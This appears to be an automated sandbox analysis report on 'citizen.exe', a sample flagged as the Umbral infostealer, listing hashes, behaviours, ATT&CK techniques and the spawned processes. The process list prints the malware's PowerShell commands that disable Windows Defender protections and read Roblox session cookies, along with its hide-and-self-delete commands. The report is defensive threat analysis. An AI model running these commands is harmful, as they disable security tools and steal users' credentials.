Analysis
-
max time kernel
98s -
max time network
142s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241211-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
22-12-2024 18:22
General
-
Target
citizen.exe
-
Size
229KB
-
MD5
fdb0b8617cf84e37b6eb3d7d33fb2bc4
-
SHA1
57d7ec3221470c30aaebd8c76a55daef900bfd07
-
SHA256
ee7e7ac852c19524db20655a03bffdbcc34a26771fd3bbee1aa7b9c25e0e16b1
-
SHA512
1f6d657bf33b08fae291b857e21055a3c3e2398d4b6d42ff764c9f95949441af79bf18a2602af0a7568eeccd0e5d47311c1838200e5ae2111b36176326e457fe
-
SSDEEP
6144:lloZM+rIkd8g+EtXHkv/iD4n9w7U69VeAbGkFZwQZb8e1mRhMi:noZtL+EP8n9w7U69VeAbGkFZwgO
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/4728-1-0x0000018AF5E70000-0x0000018AF5EB0000-memory.dmp family_umbral -
Umbral family
-
pid Process 4796 powershell.exe 3760 powershell.exe 2864 powershell.exe 4648 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts citizen.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 23 discord.com 22 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 10 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 5088 cmd.exe 4892 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 784 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4892 PING.EXE -
Suspicious behavior: EnumeratesProcesses 31 IoCs
pid Process 2988 wmic.exe 2988 wmic.exe 2988 wmic.exe 2988 wmic.exe 4728 citizen.exe 4648 powershell.exe 4648 powershell.exe 4796 powershell.exe 4796 powershell.exe 3760 powershell.exe 3760 powershell.exe 1836 powershell.exe 1836 powershell.exe 4004 wmic.exe 4004 wmic.exe 4004 wmic.exe 4004 wmic.exe 1516 wmic.exe 1516 wmic.exe 1516 wmic.exe 1516 wmic.exe 4408 wmic.exe 4408 wmic.exe 4408 wmic.exe 4408 wmic.exe 2864 powershell.exe 2864 powershell.exe 784 wmic.exe 784 wmic.exe 784 wmic.exe 784 wmic.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4728 citizen.exe Token: SeIncreaseQuotaPrivilege 2988 wmic.exe Token: SeSecurityPrivilege 2988 wmic.exe Token: SeTakeOwnershipPrivilege 2988 wmic.exe Token: SeLoadDriverPrivilege 2988 wmic.exe Token: SeSystemProfilePrivilege 2988 wmic.exe Token: SeSystemtimePrivilege 2988 wmic.exe Token: SeProfSingleProcessPrivilege 2988 wmic.exe Token: SeIncBasePriorityPrivilege 2988 wmic.exe Token: SeCreatePagefilePrivilege 2988 wmic.exe Token: SeBackupPrivilege 2988 wmic.exe Token: SeRestorePrivilege 2988 wmic.exe Token: SeShutdownPrivilege 2988 wmic.exe Token: SeDebugPrivilege 2988 wmic.exe Token: SeSystemEnvironmentPrivilege 2988 wmic.exe Token: SeRemoteShutdownPrivilege 2988 wmic.exe Token: SeUndockPrivilege 2988 wmic.exe Token: SeManageVolumePrivilege 2988 wmic.exe Token: 33 2988 wmic.exe Token: 34 2988 wmic.exe Token: 35 2988 wmic.exe Token: 36 2988 wmic.exe Token: SeIncreaseQuotaPrivilege 2988 wmic.exe Token: SeSecurityPrivilege 2988 wmic.exe Token: SeTakeOwnershipPrivilege 2988 wmic.exe Token: SeLoadDriverPrivilege 2988 wmic.exe Token: SeSystemProfilePrivilege 2988 wmic.exe Token: SeSystemtimePrivilege 2988 wmic.exe Token: SeProfSingleProcessPrivilege 2988 wmic.exe Token: SeIncBasePriorityPrivilege 2988 wmic.exe Token: SeCreatePagefilePrivilege 2988 wmic.exe Token: SeBackupPrivilege 2988 wmic.exe Token: SeRestorePrivilege 2988 wmic.exe Token: SeShutdownPrivilege 2988 wmic.exe Token: SeDebugPrivilege 2988 wmic.exe Token: SeSystemEnvironmentPrivilege 2988 wmic.exe Token: SeRemoteShutdownPrivilege 2988 wmic.exe Token: SeUndockPrivilege 2988 wmic.exe Token: SeManageVolumePrivilege 2988 wmic.exe Token: 33 2988 wmic.exe Token: 34 2988 wmic.exe Token: 35 2988 wmic.exe Token: 36 2988 wmic.exe Token: SeDebugPrivilege 4648 powershell.exe Token: SeIncreaseQuotaPrivilege 4648 powershell.exe Token: SeSecurityPrivilege 4648 powershell.exe Token: SeTakeOwnershipPrivilege 4648 powershell.exe Token: SeLoadDriverPrivilege 4648 powershell.exe Token: SeSystemProfilePrivilege 4648 powershell.exe Token: SeSystemtimePrivilege 4648 powershell.exe Token: SeProfSingleProcessPrivilege 4648 powershell.exe Token: SeIncBasePriorityPrivilege 4648 powershell.exe Token: SeCreatePagefilePrivilege 4648 powershell.exe Token: SeBackupPrivilege 4648 powershell.exe Token: SeRestorePrivilege 4648 powershell.exe Token: SeShutdownPrivilege 4648 powershell.exe Token: SeDebugPrivilege 4648 powershell.exe Token: SeSystemEnvironmentPrivilege 4648 powershell.exe Token: SeRemoteShutdownPrivilege 4648 powershell.exe Token: SeUndockPrivilege 4648 powershell.exe Token: SeManageVolumePrivilege 4648 powershell.exe Token: 33 4648 powershell.exe Token: 34 4648 powershell.exe Token: 35 4648 powershell.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 4728 wrote to memory of 2988 4728 citizen.exe 82 PID 4728 wrote to memory of 2988 4728 citizen.exe 82 PID 4728 wrote to memory of 2480 4728 citizen.exe 85 PID 4728 wrote to memory of 2480 4728 citizen.exe 85 PID 4728 wrote to memory of 4648 4728 citizen.exe 87 PID 4728 wrote to memory of 4648 4728 citizen.exe 87 PID 4728 wrote to memory of 4796 4728 citizen.exe 91 PID 4728 wrote to memory of 4796 4728 citizen.exe 91 PID 4728 wrote to memory of 3760 4728 citizen.exe 95 PID 4728 wrote to memory of 3760 4728 citizen.exe 95 PID 4728 wrote to memory of 1836 4728 citizen.exe 97 PID 4728 wrote to memory of 1836 4728 citizen.exe 97 PID 4728 wrote to memory of 4004 4728 citizen.exe 100 PID 4728 wrote to memory of 4004 4728 citizen.exe 100 PID 4728 wrote to memory of 1516 4728 citizen.exe 102 PID 4728 wrote to memory of 1516 4728 citizen.exe 102 PID 4728 wrote to memory of 4408 4728 citizen.exe 104 PID 4728 wrote to memory of 4408 4728 citizen.exe 104 PID 4728 wrote to memory of 2864 4728 citizen.exe 106 PID 4728 wrote to memory of 2864 4728 citizen.exe 106 PID 4728 wrote to memory of 784 4728 citizen.exe 108 PID 4728 wrote to memory of 784 4728 citizen.exe 108 PID 4728 wrote to memory of 5088 4728 citizen.exe 110 PID 4728 wrote to memory of 5088 4728 citizen.exe 110 PID 5088 wrote to memory of 4892 5088 cmd.exe 112 PID 5088 wrote to memory of 4892 5088 cmd.exe 112 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2480 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\citizen.exe"C:\Users\Admin\AppData\Local\Temp\citizen.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4728 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2988
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\citizen.exe"2⤵
- Views/modifies file attributes
PID:2480
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\citizen.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4648
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4796
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3760
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1836
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4004
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1516
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4408
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2864
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
PID:784
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\citizen.exe" && pause2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4892
-
-
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD53eb3833f769dd890afc295b977eab4b4
SHA1e857649b037939602c72ad003e5d3698695f436f
SHA256c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
SHA512c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72
-
Filesize
1KB
MD560b3262c3163ee3d466199160b9ed07d
SHA1994ece4ea4e61de0be2fdd580f87e3415f9e1ff6
SHA256e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb
SHA512081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af
-
Filesize
948B
MD5e54c87c0cf41e037843c0683b140dd0c
SHA1637d4c536731e621c566e734465a2d92f56ea2d2
SHA256eaf786595c995423e00ba14677822d43cbaefd26976ada9a3425069b0129c76e
SHA512453841bdd6b730be8b2ce8db4881a3212d8dcd54bb44d591bb4840f82f821be518594c991ecf058784f66f987328c00aca5020bb98b572e731f959e4a8a82fbb
-
Filesize
1KB
MD58e1fdd1b66d2fee9f6a052524d4ddca5
SHA10a9d0994559d1be2eecd8b0d6960540ca627bdb6
SHA2564cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13
SHA5125a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3
-
Filesize
1KB
MD543af66a28ed429a2af161d8a222cc4eb
SHA149f185e99c50b1f8e4dc3ae7a093dca2b0e3e523
SHA256b3374a3cf49099885c8f32504c1a1e7644526686580762aff22ebe143d809025
SHA5125dac23a6b9058ec07ec1a4fac12f96d722b8b9bd4ad84fdeba8f4645a47a92d749f9fe55a9a555f44272b86b7b2e0ea123531d493b291996f536ef338f83404a
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82